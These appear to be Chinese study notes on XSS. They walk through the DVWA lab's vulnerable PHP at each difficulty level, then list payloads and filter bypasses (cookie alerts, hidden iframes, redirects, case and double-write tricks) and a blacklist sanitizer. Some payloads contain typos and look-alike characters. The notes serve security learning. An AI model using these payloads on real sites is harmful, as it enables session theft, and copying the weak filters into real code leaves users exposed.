目录
xss
反射型 js处理返回后端后又反馈回前端
存储型 储存到某一介质中
DOM型 直接有js解析后反馈给前端
xss漏洞的修复办法
HTML实体编码
使用白名单过滤掉用户输入的恶意字符
根据业务场景对症下药
对关键的cookie使用http-only
存储型xss
攻击者在页面上插入XSS代码,服务端将数据存入数据库,当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果。
漏洞挖掘
存在输入点就可能存在xss
存在输入点并保存在后端且可以查看
<img scr=1 οnerrοr=alert(document.cookie)>获取cookie
漏洞修复
php : 添加strip_tag函数 剥去字符串中的 HTML 标签:可防止html注入
暴力方法,在文本框中可能需要HTML的操作例如<b> <h1>需要加粗或其他就不适用了
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
stripslashes() 函数 删除反斜杠
DVWA 例子
low
直接script
看看php
首先trim函数去空格只去除头尾
然后stripslashes删除反斜杠 isert 和is_object 判断变量是否存在和是否为对象
mysqli_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符
trigger_error对字长限制
mysqli_query() 函数执行某个针对数据库的查询
mysqli_error() 函数返回最近调用函数的最后一个错误描述。
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
medium
php
首先两个trim去空格
然后strip_tag剥离HTML标签
mysqli_real_escape_string转义SQL
trigger_error限字数
难道就没有办法了吗,不是还有name吗,直接修改maxlength=100 这样子就够写了
依旧是简单的script
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
HIGH
修改name长度简简单单img加onerror
加了个preg_replace函数可以写正则表达式
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
impossible
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
反射型xss
攻击者在URL中插入XSS代码,服务端将URL中的XSS代码输出到页面上,攻击者将带有XSS代码的URL发送给用户,用户打开后受到XSS攻击。
漏洞挖掘
URL传参数
atuofocus οnfοcus=alert(1)
javascript:alert(1)
修复
过滤 & (和号)& " (双引号)"’ (单引号)< (小于)<> (大于)>
htmlspecialchars 把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体
如需把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数,可能会被利用
DVWA 例子
low
很简单直接script就可以,看看php
将get的name直接输出
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
medium
依然很简单,script输入发现alert(1)输出了,所以应该是script被过滤了所以用img 加onerror就可以了
看看php
str_replace() 函数替换字符script为空,因为这个函数区分大小写所以可以用大写绕过,
还可以用双显绕过
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
HIGH
还是输入script试试结果只输出> 又试了试< 发现可以输出,难道又是script屏蔽
还是老套路img 加onerror
看看php
真的是script屏蔽只是更加严格不能用大写绕过也不能用双写绕过
preg_replace 函数执行一个正则表达式的搜索和替换。
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
正则表达式
#一个’.‘就是匹配\n(换行符)以外的任何字符
‘a.b’ eg :acb
#一个’*‘前面的字符出现0次或以上
‘a*b’ eg:acdb
#贪婪,匹配从.*前面为开始到后面为结束的所有内容。
‘a.*b’
#非贪婪,遇到开始和结束就截取,因此截取多次符合的结果,中间没有字符也会被截取 ???
‘a.*?b’
#非贪婪,与上面是一样的,只是与上面相比,多了一个括号,只保留括号中的内容
‘a(.*?)b’
//不要在意出现这么奇怪的内容,这是python的正则表达式 import re
#re.S不会对\n进行中断
print(re.findall(r’a(.*?)b’,str,re.S))
#保留a,b中间的内容
print(re.findall(r’a(.+?)b’,str))
print(re.findall(r’a(.+?)b’,str)[0])
Impossible
htmlspecialchars()函数转化为HTML实体编码
话说这个难度为什么是默认选项
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
DOMxss
攻击者在URL中插入XSS代码,前端页面直接从URL中获取XSS代码并且输出到页面,导致XSS代码的执行,攻击者将带有XSS代码的URL发送给用户,用户打开后受到XSS攻击。
感觉和其他的没什么区别
注意观察HTML存在的注入点
修复
text
DVWA eg
low
script直接搞定
看php
什么都没有
<?php
# No protections, anything goes
?>
medium
看HTML发现注入点在select里面的option中所以将option和select标签全部屏蔽加入alert就好了
</option></select><img src=# οnerrοr=alert(1)>
看php
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。还是对script管控
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
HIGH
tip:URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
所以直接#<script>alert(1)</script>
看php
这里使用了白名单过滤
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
impossible
没有php但是用了URL编码对 < 和>进行限制
下面是w3schoolURL编码的网站
https://www.w3school.com.cn/tags/html_ref_urlencode.html
攻击语句
<script>location=“https://www.baidu.com”</script> //页面跳转
<iframe src= httpss:www.baidu.com width=400 height=300></iframe> //嵌入页面
<iframe src= httpss:www.baidu.com width=0 height=0 frameborder></iframe>
<img scr=1 οnerrοr=alert(document.cookie)>获取cookie
绕过
<img scr=1 οnerrοr=alert(document.cookie)>
双显绕过
<scr<script>ipt>alert(1)</scr</script>ipt>
大小写绕过(php不区分大小写)
<ScRiPt>alert(1)</ScRiPt>
突破alert
<script>confirm(‘hack’)</script>
<img src=1 οnerrοr=confirm(‘1’)>
"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)>
"> <a href=“javascript:alert(1)”>123</a>
"> <a href=“javascript:%61lert(1)”>123</a> //
tip:URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
绕过尖括弧 通过u003c和u003e来代
u003cimg src=1 οnerrοr=alert(/xss/)u003e
’ οnmοuseοver= alert(1)
" οnclick=alert(1)
JavaScript等过滤字符的绕过
HTML字符实体转换
javascript:alert(1)
javascript:alert1
javascript:alert1
隐藏的输入框:
hidden
keyword = test&t_sort="type=“text” οnmοuseοver="alert(1)
http头部的xss注入
burp抓包,改Referer头
php修复函数
strip_tag函数 剥去字符串中的 HTML 标签:可防止html注入
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
stripslashes() 函数 删除反斜杠
trim函数去空格只去除头尾
str_replace() 函数替换字符
preg_replace 函数执行一个正则表达式的搜索和替换。
htmlspecialchars() 函数转化为HTML实体编码
array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。使用白名单过滤
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
remove_xss 这个之后再研究
https://www.jb51.net/article/70238.htm
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
$ra1 对HTML标签做限制
$ra2 对js事件做限制
排查风险
array_merge() 函数把一个或多个数组合并为一个数组。